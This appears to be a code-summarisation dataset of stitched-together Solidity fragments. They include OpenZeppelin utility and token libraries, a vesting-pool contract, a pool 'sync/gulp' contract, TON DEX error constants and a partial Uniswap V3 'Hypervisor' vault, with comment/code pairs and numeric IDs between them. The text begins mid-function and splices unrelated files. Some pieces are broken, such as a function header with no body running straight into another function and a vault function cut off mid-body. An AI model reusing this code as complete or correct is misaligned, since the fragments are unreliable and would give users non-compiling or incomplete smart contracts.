// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165Upgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal onlyInitializing {
__ERC165_init_unchained();
}
function __ERC165_init_unchained() internal onlyInitializing {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)
pragma solidity ^0.8.0;
import "../IERC20Upgradeable.sol";
import "../../../utils/AddressUpgradeable.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20Upgradeable {
using AddressUpgradeable for address;
function safeTransfer(
IERC20Upgradeable token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20Upgradeable token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20Upgradeable token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20Upgradeable token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20Upgradeable token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/structs/EnumerableSet.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
/** @title ITierable contract interface.
*/
interface ITierable {
function tierOf(address account) external returns (int256);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal onlyInitializing {
__Context_init_unchained();
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal onlyInitializing {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
pragma abicoder v2;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol";
/** @title PoolVestingable.
@dev This contract manage configuration of vesting pools
*/
abstract contract PoolVestingable is Initializable, AccessControlUpgradeable {
using SafeMathUpgradeable for uint256;
struct VestingPool {
uint256[] timestamps; // Timestamp at which the associated ratio is available.
uint256[] ratiosPerHundredThousand; // Ratio of initial amount to be available at the associated timestamp in / 100,000 (100% = 100,000, 1% = 1,000)
}
// pools
VestingPool[] private _pools;
/**
* @dev Emitted when a pool is created
*/
event VestingPoolAdded(uint256 poolIndex, VestingPool pool);
/**
* @dev Emitted when a pool is updated
*/
event VestingPoolUpdated(uint256 poolIndex, VestingPool pool);
/**
* @dev Modifier that checks pool is valid
*/
modifier checkVestingPool(VestingPool calldata pool) {
// check length of timestamps and ratiosPerHundredThousand are equal
require(
pool.timestamps.length == pool.ratiosPerHundredThousand.length,
"PoolVestingable: Number of timestamps is not equal to number of ratios"
);
// check the timestamps are increasing
// start at i = 1
for (uint256 i = 1; i < pool.timestamps.length; i++) {
require(
pool.timestamps[i - 1] < pool.timestamps[i],
"PoolVestingable: Timestamps be asc ordered"
);
}
// check sum of ratios = 100,000
uint256 totalRatio = 0;
for (uint256 i = 0; i < pool.ratiosPerHundredThousand.length; i++) {
totalRatio = totalRatio.add(pool.ratiosPerHundredThousand[i]);
}
require(
totalRatio == 100000,
"PoolVestingable: Sum of ratios per thousand must be equal to 100,000"
);
_;
}
/**
* @notice Initializer
*/
function __PoolVestingable_init() internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
__PoolVestingable_init_unchained();
}
function __PoolVestingable_init_unchained() internal onlyInitializing {}
function getVestingPool(uint256 poolIndex)
public
view
returns (VestingPool memory)
{
require(
poolIndex < _pools.length,
"PoolVestingable: Invalid poolIndex"
);
return _pools[poolIndex];
}
function vestingPoolsLength() public view returns (uint256) {
return _pools.length;
}
function addVestingPool(VestingPool calldata pool)
external
onlyRole(DEFAULT_ADMIN_ROLE)
checkVestingPool(pool)
{
_pools.push(
VestingPool({
timestamps: pool.timestamps,
ratiosPerHundredThousand: pool.ratiosPerHundredThousand
})
);
emit VestingPoolAdded(_pools.length - 1, _pools[_pools.length - 1]);
}
function updateVestingPool(uint256 poolIndex, VestingPool calldata pool)
external
onlyRole(DEFAULT_ADMIN_ROLE)
checkVestingPool(pool)
{
require(
poolIndex < _pools.length,
"PoolVestingable: Invalid poolIndex"
);
VestingPool storage editedPool = _pools[poolIndex];
editedPool.timestamps = pool.timestamps;
editedPool.ratiosPerHundredThousand = pool.ratiosPerHundredThousand;
emit VestingPoolUpdated(poolIndex, editedPool);
}
uint256[50] private __gap;
}
|
* @dev returns the vested amount of a pool deposit/ this schedule is reached, calculate its amount add it to vested amount
|
function __PoolVestingDepositable_init_unchained()
internal
onlyInitializing
function _vestedAmountOf(address account, uint256 poolIndex)
private
view
returns (uint256 vestedAmount)
{
VestingPool memory pool = getVestingPool(poolIndex);
for (uint256 i = 0; i < pool.timestamps.length; i++) {
if (block.timestamp >= pool.timestamps[i]) {
uint256 scheduleAmount = _poolDeposits[account][poolIndex]
.initialAmount
.mul(pool.ratiosPerHundredThousand[i])
.div(100000);
vestedAmount = vestedAmount.add(scheduleAmount);
}
}
}
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
/******************************************/
/* SyncDEX starts here */
/******************************************/
abstract contract SyncDEX
{
function sync() external virtual;
}
/******************************************/
/* GulpDEX starts here */
/******************************************/
abstract contract GulpDEX
{
function gulp(address token) external virtual;
}
/******************************************/
/* BenchmarkSync starts here */
/******************************************/
contract BenchmarkSync {
address public constant benchmark = 0x67c597624B17b16fb77959217360B7cD18284253;
address owner1;
address owner2;
address owner3;
address owner4;
address owner5;
SyncDEX[] public SyncPools;
GulpDEX[] public GulpPools;
modifier isOwner()
{
require (msg.sender == owner1 || msg.sender == owner2 || msg.sender == owner3 || msg.sender == owner4 || msg.sender == owner5);
_;
}
/**
* @dev Sync liquidity pools.
*/
function syncPools() public {
uint256 syncArrayLength = SyncPools.length;
for (uint256 i = 0; i < syncArrayLength; i++)
{
if (address(SyncPools[i]) != address(0)) {
SyncPools[i].sync();
}
}
uint256 gulpArrayLength = GulpPools.length;
for (uint256 i = 0; i < gulpArrayLength; i++)
{
if (address(GulpPools[i]) != address(0)) {
GulpPools[i].gulp(benchmark);
}
}
}
/**
* @dev Add a new Liquidity Pool.
* @param _lpPool Address of Liquidity Pool.
*/
function addSyncPool (address _lpPool) public isOwner {
SyncPools.push(SyncDEX(_lpPool));
}
/**
* @dev Add a new Liquidity Pool.
* @param _lpPool Address of Liquidity Pool.
*/
function addGulpPool (address _lpPool) public isOwner {
GulpPools.push(GulpDEX(_lpPool));
}
/**
* @dev Remove a Liquidity Pool.
* @param _index Index of Liquidity Pool.
*/
function removeSyncPool (uint256 _index) public isOwner {
delete SyncPools[_index];
}
/**
* @dev Remove a Liquidity Pool.
* @param _index Index of Liquidity Pool.
*/
function removeGulpPool (uint256 _index) public isOwner {
delete GulpPools[_index];
}
}
|
* @dev Remove a Liquidity Pool. @param _index Index of Liquidity Pool./
|
function removeSyncPool (uint256 _index) public isOwner {
delete SyncPools[_index];
}
| 389,081
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pragma ton-solidity >= 0.38.2;
/// @title LiquiSOR\DEX
/// @author laugan
library DEX {
/* Constants */
uint128 constant INITIAL_GAS = 1.0 ton;
uint64 constant QUERY_FEE = 0.05 ton;
uint64 constant WALLET_DEPLOY_FEE = 1 ton; // for new token wallet
uint64 constant TOKEN_IMPORT_FEE = QUERY_FEE + WALLET_DEPLOY_FEE; // for new token wallet
uint64 constant POOL_CONTRACT_FEE = 1 ton + QUERY_FEE; // for new pair contract
uint64 constant POOL_DEPLOY_FEE = TOKEN_IMPORT_FEE + TOKEN_IMPORT_FEE + POOL_CONTRACT_FEE; // 1 root wallet + 1 provider wallet + 1 pair
uint64 constant MINIMUM_LIQUIDITY = 100;
uint64 constant SWAP_FEE = 333; // fee divisor for sum (1/MAX_FEE)
uint64 constant MAX_SWAP_POOLS = 3;
/* Exceptions */
uint16 constant ERROR_NOT_AUTHORIZED = 501; // Not authorized
uint16 constant ERROR_NOT_A_CONTRACT = 502; // Not internal
uint16 constant ERROR_PAIR_NOT_SPECIFIED = 503; // No pair specified
uint16 constant ERROR_ZERO_ADDRESS = 504; // Empty address
uint16 constant ERROR_IDENTICAL_TOKENS = 505; // Both tokens in pair are identical
uint16 constant ERROR_UNKNOWN_TOKEN = 506; // This token is not imported to DEX
uint16 constant ERROR_PAIR_EXISTS = 507; // This pair already deployed
uint16 constant ERROR_WRONG_VALUE = 508; // Wrong number
uint16 constant ERROR_NOT_ENOUGH_VALUE = 509; // Not enough value attached
uint16 constant ERROR_ZERO_AMOUNT = 510; // Amount of tokens can't be zero
uint16 constant ERROR_INCORRRECT_TIP3 = 511; // Incorrect TIP3 wallet address
uint16 constant ERROR_NOT_ENOUGH_TOKENS = 512; // Not enough TIP3 tokens in wallet
uint16 constant ERROR_TOKEN_ALREADY_IMPORTED = 513; // Token already exists in DEX
uint16 constant ERROR_WRONG_CODE_CRC = 514; // TvmCell code hash is not equal to hash provided
uint16 constant ERROR_POOL_WALLETS_NOT_ADDED = 515; // Checks that pool wallets are in place
uint16 constant ERROR_MIN_RETURN_NOT_ACHIEVED = 516; // Checks that return amount for swap will be better than limit
uint16 constant ERROR_MAX_GRAB_NOT_ACHIEVED = 517; // Checks that amount of second token to grab is less than limit
uint16 constant ERROR_UNKNOWN_TRANSACTION = 518; // Unknown transaction
uint16 constant ERROR_ALREADY_IN_TRANSACTION = 519; // You already have a transaction active (it will expire in 1 minute)
uint16 constant ERROR_NOT_ENOUGH_LIQUIDITY = 520; // There is not enough liquidity in the pool for this operation
}
|
This token is not imported to DEX
|
uint16 constant ERROR_UNKNOWN_TOKEN = 506;
| 12,760,583
|
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// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
import "@openzeppelin/contracts/math/Math.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/math/SignedSafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/drafts/ERC20Permit.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@uniswap/v3-core/contracts/interfaces/callback/IUniswapV3MintCallback.sol";
import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol";
import "@uniswap/v3-core/contracts/libraries/TickMath.sol";
import "@uniswap/v3-core/contracts/libraries/FullMath.sol";
import "@uniswap/v3-periphery/contracts/libraries/LiquidityAmounts.sol";
/// @title Hypervisor
/// @notice A Uniswap V2-like interface with fungible liquidity to Uniswap V3
/// which allows for arbitrary liquidity provision: one-sided, lop-sided, and balanced
contract Hypervisor is IUniswapV3MintCallback, ERC20Permit, ReentrancyGuard {
using SafeERC20 for IERC20;
using SafeMath for uint256;
using SignedSafeMath for int256;
IUniswapV3Pool public pool;
IERC20 public token0;
IERC20 public token1;
uint24 public fee;
int24 public tickSpacing;
int24 public baseLower;
int24 public baseUpper;
int24 public limitLower;
int24 public limitUpper;
address public owner;
uint256 public deposit0Max;
uint256 public deposit1Max;
uint256 public maxTotalSupply;
address public whitelistedAddress;
bool public directDeposit; /// enter uni on deposit (avoid if client uses public rpc)
uint256 public constant PRECISION = 1e36;
bool mintCalled;
event Deposit(
address indexed sender,
address indexed to,
uint256 shares,
uint256 amount0,
uint256 amount1
);
event Withdraw(
address indexed sender,
address indexed to,
uint256 shares,
uint256 amount0,
uint256 amount1
);
event Rebalance(
int24 tick,
uint256 totalAmount0,
uint256 totalAmount1,
uint256 feeAmount0,
uint256 feeAmount1,
uint256 totalSupply
);
/// @param _pool Uniswap V3 pool for which liquidity is managed
/// @param _owner Owner of the Hypervisor
constructor(
address _pool,
address _owner,
string memory name,
string memory symbol
) ERC20Permit(name) ERC20(name, symbol) {
require(_pool != address(0));
require(_owner != address(0));
pool = IUniswapV3Pool(_pool);
token0 = IERC20(pool.token0());
token1 = IERC20(pool.token1());
require(address(token0) != address(0));
require(address(token1) != address(0));
fee = pool.fee();
tickSpacing = pool.tickSpacing();
owner = _owner;
maxTotalSupply = 0; /// no cap
deposit0Max = uint256(-1);
deposit1Max = uint256(-1);
}
/// @notice Deposit tokens
/// @param deposit0 Amount of token0 transfered from sender to Hypervisor
/// @param deposit1 Amount of token1 transfered from sender to Hypervisor
/// @param to Address to which liquidity tokens are minted
/// @param from Address from which asset tokens are transferred
/// @return shares Quantity of liquidity tokens minted as a result of deposit
function deposit(
uint256 deposit0,
uint256 deposit1,
address to,
address from,
uint256[4] memory inMin
) nonReentrant external returns (uint256 shares) {
require(deposit0 > 0 || deposit1 > 0);
require(deposit0 <= deposit0Max && deposit1 <= deposit1Max);
require(to != address(0) && to != address(this), "to");
require(msg.sender == whitelistedAddress, "WHE");
/// update fees
zeroBurn();
uint160 sqrtPrice = TickMath.getSqrtRatioAtTick(currentTick());
uint256 price = FullMath.mulDiv(uint256(sqrtPrice).mul(uint256(sqrtPrice)), PRECISION, 2**(96 * 2));
(uint256 pool0, uint256 pool1) = getTotalAmounts();
shares = deposit1.add(deposit0.mul(price).div(PRECISION));
if (deposit0 > 0) {
token0.safeTransferFrom(from, address(this), deposit0);
}
if (deposit1 > 0) {
token1.safeTransferFrom(from, address(this), deposit1);
}
uint256 total = totalSupply();
if (total != 0) {
uint256 pool0PricedInToken1 = pool0.mul(price).div(PRECISION);
shares = shares.mul(total).div(pool0PricedInToken1.add(pool1));
if (directDeposit) {
addLiquidity(
baseLower,
baseUpper,
address(this),
token0.balanceOf(address(this)),
token1.balanceOf(address(this)),
[inMin[0], inMin[1]]
);
addLiquidity(
limitLower,
limitUpper,
address(this),
token0.balanceOf(address(this)),
token1.balanceOf(address(this)),
[inMin[2],inMin[3]]
);
}
}
_mint(to, shares);
emit Deposit(from, to, shares, deposit0, deposit1);
/// Check total supply cap not exceeded. A value of 0 means no limit.
require(maxTotalSupply == 0 || total <= maxTotalSupply, "max");
}
/// @notice Update fees of the positions
/// @return baseLiquidity Fee of base position
/// @return limitLiquidity Fee of limit position
function zeroBurn() internal returns(uint128 baseLiquidity, uint128 limitLiquidity) {
/// update fees for inclusion
(baseLiquidity, , ) = _position(baseLower, baseUpper);
if (baseLiquidity > 0) {
pool.burn(baseLower, baseUpper, 0);
}
